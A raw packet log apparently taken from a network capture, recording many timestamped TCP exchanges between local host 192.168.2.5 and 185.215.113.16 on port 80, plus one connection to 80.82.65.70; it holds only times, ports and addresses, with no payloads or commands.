Dec 10, 2024 05:10:30.609581947 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.610471010 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.610516071 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.610605955 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.610651016 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.611552000 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.611589909 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.611675978 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.611717939 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.612544060 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.612581015 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.612616062 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.612658978 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.613528967 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.613565922 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.613636017 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.613675117 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.614572048 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.614610910 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.614696026 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.614733934 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.615564108 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.615601063 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.615668058 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.615701914 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.616611004 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.616655111 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.616719961 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.616756916 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.617650986 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.617690086 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.617717981 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.617754936 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.618652105 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.618690968 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.618725061 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.618762970 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.619673014 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.619720936 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.619782925 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.619823933 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.620682001 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.620719910 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.620755911 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.620793104 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.621689081 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.621732950 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.621798038 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.621841908 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.622710943 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.622755051 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.622817039 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.622855902 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.623754978 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.623801947 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.623859882 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.623900890 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.624790907 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.624833107 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.624877930 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.624916077 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.625781059 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.625822067 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.625883102 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.625922918 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.626810074 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.626853943 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.626910925 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.626950026 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.627839088 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.627882957 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.627935886 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.627974987 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.628865957 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.628906965 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.628985882 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.629024029 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.629873991 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.629914045 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.629971027 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.630011082 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.630894899 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.630929947 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.631020069 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.631062031 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.631942034 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.631987095 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.632116079 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.632155895 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.632976055 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.633014917 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.633080959 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.633119106 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.633970022 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.634021997 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.634072065 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.634113073 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.635011911 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.635049105 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.635126114 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.635163069 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.636059046 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.636101961 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.636156082 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.636192083 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.637099028 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.637140989 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.637167931 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.637204885 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.638070107 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.638107061 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.638168097 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.638205051 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.639085054 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.639127016 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.639194012 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.639235020 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.640124083 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.640166044 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.640225887 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.640266895 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.641129971 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.641171932 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.641248941 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.641288042 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.642155886 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.642208099 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.642263889 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.642303944 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.643212080 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.643254995 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.643281937 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.643331051 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.644220114 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.644259930 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.644325972 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.644361973 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.645261049 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.645299911 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.645356894 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.645395994 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.646250963 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.646301031 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.646365881 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.646404982 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.647274971 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.647321939 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.647448063 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.647481918 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.648276091 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.648314953 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.648396969 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.648436069 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.649313927 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.649349928 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.649435997 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.649480104 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.650362015 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.650402069 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.650461912 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.650500059 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.651357889 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.651396990 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.651468039 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.651505947 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.652386904 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.652426958 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.652494907 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.652533054 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.653405905 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.653454065 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.653552055 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.653594971 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.654422045 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.654462099 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.654556036 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.654597044 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.655467987 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.655507088 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.655533075 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.655571938 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.715020895 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:30.780461073 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.780514002 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.780544043 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.780585051 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.780925035 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.780962944 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.781028032 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.781061888 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.781960964 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.782006025 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.782040119 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.782088995 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.782974958 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.783016920 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.797900915 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.797952890 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.798007965 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.798054934 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.798384905 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.798427105 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.798531055 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.798569918 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.799427032 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.799468040 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.799535990 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.799571991 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.800425053 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.800465107 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.800529003 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.800566912 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.801462889 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.801501989 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.801547050 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.801589012 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.802474022 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.802517891 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.802570105 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.802607059 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.803523064 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.803570986 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.803632975 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.803680897 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.804517984 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.804558039 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.804620028 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.804656982 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.805552959 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.805592060 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.805682898 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.805721045 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.806581974 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.806636095 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.806699991 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.806745052 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.807591915 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.807636976 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.807715893 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.807764053 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.808605909 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.808640957 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.808703899 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.808738947 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.809648037 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.809689999 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.809752941 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.809791088 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.810651064 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.810687065 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.810766935 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.810806036 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.811683893 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.811724901 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.811796904 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.811831951 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.812695026 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.812745094 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.812802076 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.812844992 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.813720942 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.813754082 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.813824892 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.813862085 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.814759970 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.814810038 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.814831972 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.814886093 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.815845013 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.815881968 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.815967083 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.816003084 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.816818953 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.816859961 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.816940069 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.816979885 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.817836046 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.817877054 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.817939043 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.817980051 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.818826914 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.818950891 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.818978071 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.819067955 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.819843054 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.819890022 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.819962978 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.819998980 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.820889950 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.820930958 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.820993900 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.821032047 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.821943998 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.821997881 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.822026014 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.822062969 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.822942019 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.822988987 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.823076963 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.823122978 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.823982954 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.824021101 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.824083090 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.824121952 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.825006008 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.825050116 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.825119972 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.825156927 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.826030016 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.826070070 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.826133966 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.826174021 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.827080011 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.827119112 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.827164888 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.827205896 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.828115940 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.828161001 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.828176022 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.828212976 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.829091072 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.829133034 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.829169035 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.829219103 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.830096006 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.830146074 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.830239058 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.830277920 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.831125975 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.831166029 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.831227064 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.831264019 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.832166910 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.832207918 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.832288027 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.832329988 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.833195925 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.833241940 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.833321095 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.833365917 CET	49874	80	192.168.2.5	185.215.113.16
